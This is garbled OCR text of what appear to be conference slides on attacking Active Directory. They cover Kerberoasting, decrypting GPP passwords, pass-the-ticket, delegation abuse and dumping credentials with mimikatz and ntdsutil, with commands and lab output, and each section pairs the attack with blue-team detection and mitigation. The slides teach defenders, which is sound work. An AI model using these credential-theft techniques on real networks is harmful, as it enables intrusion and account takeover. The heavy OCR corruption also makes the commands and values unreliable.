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CVS and Walmart Canada Are Investigating a Data Breach
Massive breach at health care company Anthem Inc.

21 Carefirst Blue Cross Breach Hits 1.1M

17 Premera Blue Cross Breach Exposes Financial,
Medical Records

llo\\ the Sony Br oach C hanoos Cy l)m security

ichard Bejtlich and Shuman Ghosemajumder Say the Key Is Limiting Dam:

09 Anthem Breach May Have Started in April 2014

Neglected Server Provided Entry for J PMorgan Hackers

By MATTHEW COLDSTEIN . NICOLE PERLROTH and MICHAEL CORKERY DECEME
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Perimeter Defenses Are Easily Bypassed

u,.

Message for you, Sir!
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Anthem

BlueCross BlueShield
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Cyber Attack Against Anthem
Ye are PPy L ! y that ne store ""("‘ Ot f |3 il 11
p X A . Dear Anthem Clienl,
h# 14 o he s =1 1n ar 3 ) 10m ) N hnt 2 |
i link 1 a fi ¢ " hout y der We wantad to make you aware of a data breach that may have affacted your personal
n L) ? ) ] 1l U ou ¢
health information and credit card data. The dala which was accessed may impact
hia su 4 s Thanksaiving Dav clients who made credit or debit card payments for heaithcare or who got reatment
HomeDenot . during the year 2014
Your frust is a top priority for Anthem, and we deeply regret the inconvenience this may
cause. The privacy and protection of our client's health care information is @ matter we
| - take very seriously and we are working diligently to resolve the incident
2UUU- U ,vw"rw.v, LL 3 1) 888
— . - —— Ir -
S Calibri 11 A A _— 7 To subscribe to a free year of credit card account protection please click on the link
. (-OD\‘ -
below and follow the instructions that will be reguired.
Paste A I U - i “’A,' A ollow the clio atwill be req
5 N Format Painter
l Click Here To Get Your Free Year Of Credit Card Protection
Lipboarg mt -
1 SECURITY WARNING Macros have been disabled, Enable Content
Al v fx =foof)
A 8 C D E F C $HOP ABOUT ABCES OTHER ABCES WEBLITES MELPEUL LINKS
r walr At Al Froviders » Contact Us »
1 #NAME? oo . 303 0es
31 DuTinets Premf Froducer:
Federil Employee Progra

w N

0O
i
Don Gueoetnes

Source: KrebsonSecurity.com
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Verizon DBIR: 2014 Breach Statistics
6090 99.9%

EXPLOITED VULNERABILITIES WERE
ATTACKERS ARE ABLE TO COMPROMISE AN - cOMPROMISED MORE THAN A YEAR AFTER THE

ORGANIZATION WITHIN MINUTES. CVE WAS PUBLISHED.
About half of CVEs h&bCsn <1 month

23% / 11% 0504

OPEN PHISHING MESSAGES / CLICK ON
ATTACHMENTS. MALWARE TYPES SHOWED UP FOR LESS

THAN A MONTH,
50%

OPEN BMAILS AND CLICK ON PHISHING 70 - 90%

LINKS WITHIN THE FIRST HOUR. MALWARE SAMPLES ARE UNIQUE TO AN

ORGANIZATION.
20%

Incidents related to insider threat

Source: Verizon Data Breach Investigation Report 2015
http://www.verizonenterprise.com/DBIR/
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Attacker Goals

| Data Access
| Exfiltration
| Persistence

~ HUMANS:STILL
Privilege escalation if needed THINKTMILOST
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PowerShell Overview
| 51 @S YSYYSREY aG.laK FT2NJ 2AyY
| PowerShell.exe only an entry point into PowerShell

PowerShell Desktop OS

Version 2 Windows 7 Windows 2008 Rz

Version 3 Windows 8 Windows 2012

Version 4 Windows 8.1 Windows 2012 Rz

Version 5 Windows 10 Windows 2016
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PowerShel\Weaponized

| PowerSploit
| Nishang
| PowerUp

| Empire
(PowershellEmpire.com)
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| SQL servers, instances, ports, etc.

| MSSQLSKadsmsSQLAPO1.adsecurity:arip3
| Exchange Client Access Servers

| exchangeMDBadsmsEXCASO1.adsecurity.org
| RDP

| TERMSERMIsmSEXCASO1.adsecurity.org
| WSMarWinRMPSRemoting

| WSMANadsmsEXCASO01.adsecurity.org
| HyperV Host

| Microsoft Virtual Console ServieedsmsHV01.adsecurity.org
| VMWareVCenter

| STBadsmsVCO01.adsecurity.org
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SPN Scanning for MS SQL Servers

Domain : lab.adsecurity.org

ServernName : adsMssQLO0Z2. 1ab. adsecurity. org

Port : 9834

Instance :

ServiceACCoOUuntDN : {CN=svC-adsSQLSA,0U=TestServiceAaccounts,DC=1ab,DC=adsecurity,DC=0rq;
Operatingsystem : {windows Server 2008 R2 Datacenter}
osservicePack : 1service Pack 1}

LastBooTup - 3/8/2015 1:07:25 AM

osvVersion : 16.1 (7601);F

Description : {Production SQL Server}
SrvAcctUserID : svC-adsSOLSA

SrvAcctDescription : SQL Server Service AcCcount

DiscoverPSMSSQLServers
https:// github.com/PyroTek3/PowerShellD-Recon/blob/master/DiscovePSMSSOLServers


https://github.com/PyroTek3/PowerShell-AD-Recon/blob/master/Discover-PSMSSQLServers
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Domain

ServicéFrincipaJHamEE : {MJSQL1MEquSAFPSULﬂ1 lab. adsecurity.org:1433, M55QLSvc/ADSAPPSQLOZ2. lab. adsecurity.org:1433,
MSS0QLSvc /ADSAPPSQLOD3. Tab. adsecurity. org:1433}

FindPSServiceAccounts
https:// github.com/PyroTek3/PowerShallD-Recon/blob/master/FinePSServiceAccounts

SPN Directory:
http://adsecurity.org/?page id=183



http://adsecurity.org/?page_id=183
https://github.com/PyroTek3/PowerShell-AD-Recon/blob/master/Find-PSServiceAccounts

s, %,
black hat }AQL

Cracking Service Account Passwokdlperoast

Request/Save TGS service tickets & crack offline.
| Kerberoast LJé-aged YGS password cracker.
| No elevated rights required.
| No traffic sent to target.

Domain Controller

\
3 '\Q"\ ' » 4 \g
> '."4;(";“\' @
AT gl oV
LD ¢ < ¥
c_‘?'v‘ \':‘C \)"' 4-'\';_‘:—-
\»[,\- '_\'\ e
. '\%\“ 4\;:‘:\
4 R
\,:;\_'._{ “ AR
SV
A = <5 B \
e

------------

User's Workstation

Application Server
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PS C:n> New—0Object System.ldentityModel._Tokens.KerherosRegquestorSecurityToken —ArgumentList "M5S8QL-Aadsdhdl . labh.adsecurit

uuid-?28e5eae—fHeb—44ee—Th26—Hddd4Bed3266-2
{System.ldentityModel.Tokens.InMemorySymmetricSecurituleys
6122015 1:21:49 AN

b-12-2015 11:21:4% AN
M3SQL-adsdh@l . lab.adsecurity.org:1433
System.ldentityModel . .Tokens.InMemorySymmetricSecurityley

ServicePrincipalName
SecurityKey

PS GC:n> Kklist
Current Logonld is B:Bx3Pa265
Cached Tickets: (2>

e > Client: Joelser @ LAB_ADSECURITY .ORG
Server: krbtgt- LAB.ADSECURITY .ORG @ LAB.ADSECURITY.ORG
KerhTicket Encryption Type: AES-256—CTS—HMAC-SHA1-96
Ticket Flagzs Bx4del1BB@A -> forwardabhle renewahle initial pre_authent name_canonicalize
Start Time: 6112015 21:21:4%7 {locall
End Time: br12-,2015 7:21:49 {local>?
Renew Time: 6-18-2015% 21:21:49 (local>
Session Key Type: AES—256-CTS—HMAC-SHA1-96

Client: Joelser @ LAB.ADSECURITY .ORG

Server: MSSQL-sadsdbBl.lab.adsecurity.org:1433 @ LAB.ADSECURITY .ORG

KerhTicket Encryption Type: RSADSI RC4-HHMACCNT »

Ticket Flag=s Bx48a188868 -> forwardabhle renewahle pre_authent name_canonicalize
Start Time: 61172015 21:21:47 {(local?

End Time: 6-12-2815 7:21:49 {local>

Renew Time: 6-18-2815% 21:21:49 {(local>

Session Key Tupe: RSADSI RC4-HMACCNT >
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Kerberoast Save & Crack TGS Serwce Ticket

mimikatz(powershell) # kerberos::1ist fexport

[00000000] - Ox00000012 - aes256_hmac

Start/End/MaxRenew: 6,/11,/2015 9:21:49 PM ; &/12/2015 7:21:49 AM

: B/18/2015 9:21:49 PM
Server Name

: krbtgt/LAB. ADSECURITY.ORG @ LAB.ADSECURITY.ORG
Client MName : JoelUser @ LAB. ADSECURITY.ORG

Flags 4010000 : name_canonicalize ; pre_authent ;

initial ; renewable ; forwardable ;
* Saved to file

0-40el10000-Joelser@krbtgt~LABE. ADSECURITY.ORG-LAB. ADSECURITY.ORG. kirba

[00000001] - Ox00000017 - rcd4_hmac_nt

Start/End/MaxRenew: 6/11/2015 9:21:49 PM ; &,/12/2015 7:21:49 AM

: B/18/2015 9:21:49 PM
Server Name

: M550L /adsdb0l1. 1ab. adsecurity.org:1433 @ LAB.ADSECURITY.ORG
Client MName : JoeUser @ LAB.ADSECURITY.ORG

Flags 40al0000 : name_canonicalize ; pre_authent ;

renewable ; forwardable ;
* Saved to file

: 1-40a10000-JoelUser@MssqQL~adsdb0l. Tab. adsecurity. org~1433-LAB. ADSECURITY.ORG. kirb1

:/opt/kerberoast# python tgsrepcrack.py wordlist.txt MSSQL.kirbi
found password for ticket 0: SQL _P@55wOrd#! File: MSSQL.kirbi

All tickets cracked!
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Blue Team Response:
TGS Password Cracking

Detection (noisy):
I Event ID 4769: A Kerberos service ticket was requested

Mitigation:
I Service Account passwords >25 characters
I Use (Group) Managed Service Accounts
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Group Policy Preferences Credential Storage

The private key Is publicly available on MSDN

4 2.2.1.1 Preferences Policy File
Format

2.2.1.1.1 Common XML Schema

2.2.1.1.2 Quter and Inner
Element Names and CLSIDs

2.2.1.1.3 Common XML
Attributes

2.2.1.1.4 Password
Encryption

2.2.1.1.5 Expanding
Environment Variables

2.2.1.1.4 Password Encryption

All passwords are encrypted using a derived Advanced Encryption Standard (AES) key.<3>

The 32-byte AES key is as follows:

4e 995 06 eB8 fc be 6c c% fa f£4 53 10 &2 Of fe =8
f4 96 ed 0O& cc 03 7% 90 Z0 Sb 09 a4 33 be &c 1b

https:// msdn.microsoft.com/erus/library/2¢c15chfOf086-4c748b70-1f2fa45dd4be.aspx



https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx
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Exploiting Group’olicyPreferences

\\<DOMAIN®SYSVQKDOMAINXPolicie$s

<?xml version="1.0" encoding="utf-8" ?>
- <Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
- <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name= Administrator (built-in)  image="2" changed="2015-
02-18 01:53:01" uid="{D5FE7352-81E1-42A2-B7DA-118402BE4C33}">
<Properties action="U" newName="ADSAdmin fullName="" description=""

cpassword="RI133B2WI2CiI0CaulDtrtTe3wdFwzCiWB5PSAXXMDstchJt3bL0UieOBaZ/ 7rdQjugTonF3ZWAKaliRvd4JGQ
changelLogon=10" noChange=10" nevercxpires=0" acctbisabled=10" subAuthority= = userName = Administrator
(built-in)" expires="2015-02-17" />
</User>
</Groups>

PS C:\temp> Get-DecryptedCpassword 'RI133B2WI12CiI0CaulDtrtTe3wdFwzCiWB5PSAXXMDstchlt3bLOU1e0B:

#Super@secure&Password$20157
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Blue Team Response: Exploiting GPP

Detection:

T XML Permission Denied Checks
APlace xml file in SYSVOL &Batryone:Deny
AAudit Access Denied errors

iDth R2SayQi SEA&GZ y2 fS3Ad

Mitigation:
I Install KB2962486 on every computer used to manage GPOs
I Delete existing GPP xml files in SYSVOL containing passwords
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Pivoting with Local Admln

| Using GPP Credentials
| Connect to other computers usifgDSAdmiraccount

| Compromise Local Admin creds = Admln rights ¢ w
| Always RID50OR2 Say Qi 030 S NJ

| Mimikatzfor more credentials!

Ita



blgk hat

LIS A28

RIS

Blue Team Response: Local Admin

Detection:
I Local admin account logon

Mitigation:
I Use Microsoft LAPS (or similar) for automatic local admin password change.

I Deploy KB2871997 on all systems & disallow local account logon across networ
via GPO.

T Limit workstation to workstation communication.
I Implement network segmentation.
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Mimikatz The Credential Mukitool

| Dump credentials
| Windows protected memory (LSASS). *
| Active Directory Domain Controller database . *
| Dump Kerberos tickets
| for all users. *
| for current user.
| Credential Injection
| Password hash (pasise-hash)
| Kerberos ticket (pasthe-ticket)
| Generate Silver and/or Golden tickets

| And so much more!
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Dump Credentials witMimi katz

User

nimikatz{(commandline? #§ sekurlsa::logonpasswords

B ; 50881941 (PHONVOHROA:AB1dadece?
Interactive from 2
hanso lo

gl—)‘:‘l—zg&g?—i1?3643419—??1954%9—222232912'.’—1 187 Se rVI Ce ACCO u nt

A ; 2858348 <{0AAAOUAA:O@2h9d64 >

Service from B

suc—SQLDBEngineBli

ADSECLAB
8—1-5-21-1473643419-77495409839-2222329127-1687

Authentication Id
Session

User Name

Domain

S1D

4 Haﬁsélo Authentication Id

: ADSECLAR Session

: bceBde51bhcd4919e81987a75d0bhd375a User Name
: 269cBch3ab23h2eB62dfd861c9h82818

: 668dd1fe6bh94£321fbbd58hfc19a4189228h2bb

# Usernanc : HanSolo
» Domain : ADSECLAB

*
* Password : Falcon99? i %Serqame
wdigest = omalin

suc—SQLDBEnginedl

ADSECLAB
dAabfcBchb8?2f4cdcB?52a1411 497896
467fA516eb155eed6B668827hAaddahSeecefacd

suc—SQLDBEnginedl
ADSECLAB
Thisl=AGoodPassword?9?

suc—SQLDBEnginedl

# Usernane : HanSolo = NTLM
= Domain : ADSECLAB = SHA1
* Password : Falcon99? tspkg :
kerheros : * llzername

# Usernane : HanSoelo

% Domain : LAB.ADSECURITY.ORG * Domain

# Password : Falcon99t * Password

ssp = wdigest :
credman #* sername
#* Domain ADSECLAB

* Password Thizl=AGoodPassword?9?

/o Urx kerheros :
I‘ “‘ I #* Username suc—SQLDBEnginedl

entl oo #* Domain LAB.ADSECURITY . ORG
. ] #* Passuwoprd Thisl=AGoodPassword?9?

ssp -
credman =



blgk hat

LIS A28

) B

YSNDSNRPAa G452dzfS | 2LXE
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User’s Workstation Database Server
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ADSDBO1 Properties

General I Operating System I Member Of Delegation | Location I Managed Ehfl Diial-in I

Delegation is a securty-sensitive operation, which allows services to act on

behalf of anather user.

" Do not trust this computer for delegation

% Trust this computer for delegation to any service (Kerberos only)

™ Trust this computer for delegation to specified services only

% [ze Kerberos only

 Wsze any authentication pratocal

Semvices boowhich this account can present delegated credentials:

Service Type | User or Computer

Fort

Service M;

[~ Expanded

Add...

Femove
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Discover Servers Configured with Delegation

P5 C:'\Windows‘\system32= Import-Module ActiveDirectory

Get-ADComputer -Filter {(TrustedForDelegation -eq $True) -AND (PrimaryGroupID -eq 515) } -Properties
TrustedForDelegation, TrustedToAuthForDelegation,servicePrincipalName,Description

Description :

D1 stinguishedMame : CN=ADSDBD1 ,0U=5ervers,0U=5ystems,DC=1ab, DC=adsecurity,DC=0rg
DNSHostName : ADSDBO1. 1ab.adsecurity.org

Enabled : True

Name : ADSDBEOL

DbjectClass : computer
DbjectGUID : 6bd00906-eb69-4415-9F69-fee94602bbbl
SamAccountMName : ADSDBO1S
zervicePrincipal Name : {WSMAN/ADSDBO1. 1ab. adsecurity.org, WSMAN/ADSDBEO1, TERMSRV/ADSDBO1,
TERMSRV/ADSDBEOL. 1ab. adsecurity. org. ..}
: 5-1-5-21-1583770191-140008446-32658284411-2102

TrustedForDelegation

UserPrincipalName
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Kerberos Unconstrained Delegation

Domain Controller

——— - APREQ (present TGS for
TGS contains user’s TGT! eSS

access)

User’s Workstation

Applicat Server
(Unconstrained Delegation)
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mimikatz{commandline} # szekurlza::tickets Aexport

hE icati A 15 AAPAREEE - ARA2Bdea>
Session Netwurk from @
Uzer Mame LukeSkyuwalker
Domain ADSECLAB

0gon server ni
Logon Time 6262015 18:=27:22 PHM

SID 5-1-5-21-15%83779171-149088446—3268284411-11 87
»* lIsername = LukeSkyualker
#* Domain : LAB_.ADSECURITY . ORG
* Password = <nulll

Group B — Ticket Granting Service
Group 1 — Client Ticket ¥

Group 2 — Ticket Granting Ticket
[BBEBEEOA 1

I.:E«"Fn <HaxBengus 6 i H i
Service Name C@2> krhbtgt : LAB_ADSECURITY .ORG ; @ LAEB.ADSECURITY .ORG
arget MName [y E o

Client Hame <B1> LukeSkywalker ; @ LAB.ADSECURITY .ORG

Flags bHalBBBaA name_canonicalize ; pre_authent ; renewabhle ; forwarded ; forwardable :

Seszion Key BxA0000012 — aes25%6_hmac
feddc?d3h?37242d8d683d08d3088e 74fB616bc bl 38hE8bA4e?81 Yad?f1d51575

Ticket I Bx000BA12 — aes256_hmac : kvno = 2 [...1

= Saved to file [B:;:28deal-2-8-60alBPB8—LukeSkywalkerfkrbtgt—LAB.ADSECURITY .ORG.kirhi *

2815 18:27:22 PM

mimikat=z{commandline? # |kerberos:-:ptt [B;28deal-2-A—6Hal1B8880-LukeSkywalkerPkrbtgt— LHB ADSECURITY . ORG lkirbi
B — File ‘[B:28deal-2-8= ['ITE oL

mimikat={commandline} # exit
Bye?

PS8 C:stempam>» klist

Current Logonld iz B:8x2bh3d7

Cached Tickets: <12

Client: LukeSkywalker B LAB.ADSECURIIY.ORG
: krbtgt - LABE. HDEEGURITT ﬂRG 2 LAH. HDEEGURITT ORG

r—p——————— m—————
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Exploiting Kerberos Delegation

[adsdcB2.lab.adsecurity.oryg YA tempsmimikatzsMimnikatz “privilege: :debug"
a:krbtgt" exit

HHEHE . mimikatz 2.8 alpha <x64> release "Kiwi en C" <(May 29 2815 23:55:17>

¢ B s

it 2 B e o= o=
it ~ - Ui Benjamin DELPY ‘gentilkiwi® ¢ benjaminfgentilkiwi.com 2

‘Ht v 1 http: - blog.gentilkivi.coms/mimikatz Coe.eol
' g’ with 15 modules * = =~

mimikatz{commandline} # privilege::debuy
Privilege '20*' 0K

mimikatz{commandline} # sekurlsa::krbtgt

Current krhtgt: 6 credentials
»* Pc4_hmac_nt

esbechbhalcac281?bZed432ffh32141c5f7104eb e

433f1cEdiEa2d466294ff983a525956
1f82268baalf137

* aesiEﬂ_hmac

- 2
»* des_chec_mdS t F
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Blue Team Response: Kerberos Delegation
Detection:
I Delegation events
Mitigation:
I Only use Kerberos Constrained Delegation

I Disable delegation for admin accounts
Account options:

[ | Accourt is disabled o~
[ Smart card is required for interactive logon

Account is sensitive and cannot be delegated

[ | Use Kerberos DES encryption types for this account "
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Dumping AD Domain Credentials

| Get access to the NTDS.dit file & extract data.
| Copy AD database from remote DC.
| Grab AD database copy from backup.
| Get Virtual DC data.
| Dump credentials on DC (local or remote).
| RunMimikatz (WCEetc) on DC.
| InvokeMimikatz on DC via PS Remoting.

w

G

A
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FInNdingNTDS.dibn the Network

| Are your DC backups properly secured?
| Domain Controller storage?
| Who administers the virtual server hosting virtual DCs?

| Are your VMWare/Hype¥ host admins considered
Domain Admins?

Hint: They should be.
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i i1 Windows Task Manager
_ File Options

Applications  Processes |Ser1.-'ices I Performar

Wiew Help

m1m1katn(cummand11ne} # sekurlsa:
Switch to

Qo
Qo
ao
aa
Qo
ao
aa
Qo
Qo

Image ... = I UserNamEI CPUl
conhost.exe ADSAd. ..
CSrss, exe SYSTEM
CSr55. exe SYSTEM
dfers.exe SYSTEM
dfsswc.exe SYSTEM
dns.exe SYSTEM
dwm.exe ADSA. ..
explorer.exe ADSAd...
ismserv.exe SYSTEM

lem. exe Cpen File Location
Microsoft  End Process
mmC.€XE  End Process Tree
MMC.EXE  [ebug

msdtc.ex  [Iac Yirtualization
powersh: G Cump File

v Show

Set Priority

Properties

Uzer Hame

Domain

Logon Server
Logon Time

SID
1|

1i

Authentication Id
Memﬂe ssion

Huthenticatiun Id

MINIDUMP

iminidump c:istemps~lsass.dmp
c:swtemp~lsass . dmp’

mimikat=z{commandline # sekurlsa::logonpaszswords
Opening

: ‘cintempslzass.dmp’ file for minidump. ..

msy =
[BBAABEAZ 1
* lU=zername
* Domain

=* LM

* NTLM

= SHA1
tapkg :

* lU=zername
* Domain

* Password
vwdigest =

* Uszername
#* Jlomain

* Password
kerheros =
* Username
* Domain

* Password

; 776 (HOBBAOOH : BBABA3e4)

Service frum A

A ; 218943 (HAAAEAEA - AAA35 73f >
Interactive from 1
ADSAdministrator

ADSECLAB

ADSDCAZ

5-,360-2815 11:81

84 PH

S—1-5-21-1387283482-2957264255-828998924-588

Primary

ADSAdministrator

ADSECLAB
eS2cach?41%a%a226eYedabf 2864116
FcHBd63aZ2f48FfB45271bc2236ed3f3ac
B5abcfho30cB65d5Hd71cdSa3blac56B84642a74e31

ADSAdministrator
ADSECLAB
Password?9?

ADSAdministrator
ADSECLAR
Password?9?

ADSAdministrator
LAB.ADSECURITY . ORG
Password???
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mimikatz{powershell) # lsadump:
Domain = ADSECLAB / S-1-5-21-1473643419-774954089-2222329127

RID
User

: 000001f4 (500)
* Administrator

6T40d9clcab7f73d298dc3d94163543d

: 000001F5 (501)
. Guest

: 000001F6 (502)

krbtgt

7e2a0e20851d0229F2489210b6576ede

: 000003e8 (1000)

admin

7c08d63a2f48f045971bc2236ed3f3ac

: 00000452 (1106)

LukeSkywalker

; 177af8ab46321ceef22b4e8376F2dbay

00000453 (1107)
HanSolo

269c0c63a623b2e062dFd861c9b82818

:samrpc /patch
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PS C:\Users\Administrator.ADSECLAB> ntdsutil "ac 1 ntds” "1fm" "create full c:\temp” q g
\Windows'\system32\ntdsutil.exe: ac 1 ntds
Active instance set to "ntds”.
:\Windows'\system32\ntdsutil.exe: 1fm
1fm: create full c:\temp
reating snapshot...
Snapshot set {5113733a-e9ba-430f-a320-c1168d2f62e2} generated successfully.
Snapshot {3fd7bd%a-dda5-4da0-b83c-243a8ff25690} mounted as C:\$SNAP_201503242343_VOLUMECS\
Snapshot {3fd7bd9a-dda5-4da0-b83c-243a8ff25690} 1s already mounted.
Initiating DEFRAGMENTATION mode...
Source Database: C:\$5NAP_201503242343_VOLUMECS\Windows\NTDS\ntds.d1t
Target Database: c:\temp\Active Directory\ntds.dit

Defragmentation Status (% complete)
10 S0 100

opying registry files...

opying c:\temp\registry\SYSTEM

opying c:\temp\registry\SECURITY
Snapshot {3fd7bd9a-dda5-4da0-b83c-243a8ff25690} unmounted.
I;M media created successfully in c:\temp
1fm: g

:\Windows'system32\ntdsutil.exe: g
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